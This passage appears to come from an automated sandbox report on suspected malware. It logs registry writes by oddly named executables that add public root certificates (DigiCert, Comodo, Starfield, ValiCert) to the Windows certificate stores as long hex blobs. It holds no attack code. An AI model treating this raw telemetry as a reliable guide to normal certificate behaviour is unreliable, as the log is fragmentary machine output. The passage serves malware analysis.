1e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd HGT.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 19000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a92000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd HGT.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 hjjgaa.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 0f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc252000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a gaooo.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 040000000100000010000000d474de575c39b2d39c8583c5c065498a0300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc251d00000001000000100000008f76b981d528ad4770088245e2031b630b0000000100000012000000440069006700690043006500720074000000140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc35300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a82000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a gaooo.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba870f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca619000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd HGT.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Suliqecyjae.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e Suliqecyjae.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25\Blob = 190000000100000010000000ba4f3972e7aed9dccdc210db59da13c90f0000000100000014000000e35ef08d884f0a0ade2f75e96301ce6230f213a8090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703085300000001000000230000003021301f06096086480186fd6c020130123010060a2b0601040182373c0101030200c0140000000100000014000000b13ec36903f8bf4701d498261a0802ef63642bc30b00000001000000120000004400690067006900430065007200740000001d00000001000000100000008f76b981d528ad4770088245e2031b630300000001000000140000005fb7ee0633e259dbad0c4c9ae6d38f1a61c7dc25040000000100000010000000d474de575c39b2d39c8583c5c065498a2000000001000000c9030000308203c5308202ada003020102021002ac5c266a0b409b8f0b79f2ae462577300d06092a864886f70d0101050500306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a306c310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312b30290603550403132244696769436572742048696768204173737572616e636520455620526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c6cce573e6fbd4bbe52d2d32a6dfe5813fc9cd2549b6712ac3d5943467a20a1cb05f69a640b1c4b7b28fd098a4a941593ad3dc94d63cdb7438a44acc4d2582f74aa5531238eef3496d71917e63b6aba65fc3a484f84f6251bef8c5ecdb3892e306e508910cc4284155fbcb5a89157e71e835bf4d72093dbe3a38505b77311b8db3c724459aa7ac6d00145a04b7ba13eb510a984141224e656187814150a6795c89de194a57d52ee65d1c532c7e98cd1a0616a46873d03404135ca171d35a7c55db5e64e13787305604e511b4298012f1793988a202117c2766b788b778f2ca0aa838ab0a64c2bf665d9584c1a1251e875d1a500b2012cc41bb6e0b5138b84bcb0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414b13ec36903f8bf4701d498261a0802ef63642bc3301f0603551d23041830168014b13ec36903f8bf4701d498261a0802ef63642bc3300d06092a864886f70d010105050003820101001c1a0697dcd79c9f3c886606085721db2147f82a67aabf183276401057c18af37ad911658e35fa9efc45b59ed94c314bb891e8432c8eb378cedbe3537971d6e5219401da55879a2464f68a66ccde9c37cda834b1699b23c89e78222b7043e35547316119ef58c5852f4e30f6a0311623c8e7e2651633cbbf1a1ba03df8ca5e8b318b6008892d0c065c52b7c4f90a98d1155f9f12be7c366338bd44a47fe4262b0ac497690de98ce2c01057b8c876129155f24869d8bc2a025b0f44d42031dbf4ba70265d90609ebc4b17092fb4cb1e4368c90727c1d25cf7ea21b968129c3c9cbf9efc805c9b63cdec47aa252767a037f300827d54d7a9f8e92e13a377e81f4a gaooo.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\5FB7EE0633E259DBAD0C4C9AE6D38F1A61C7DC25 gaooo.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 patch.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6502000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c642054656368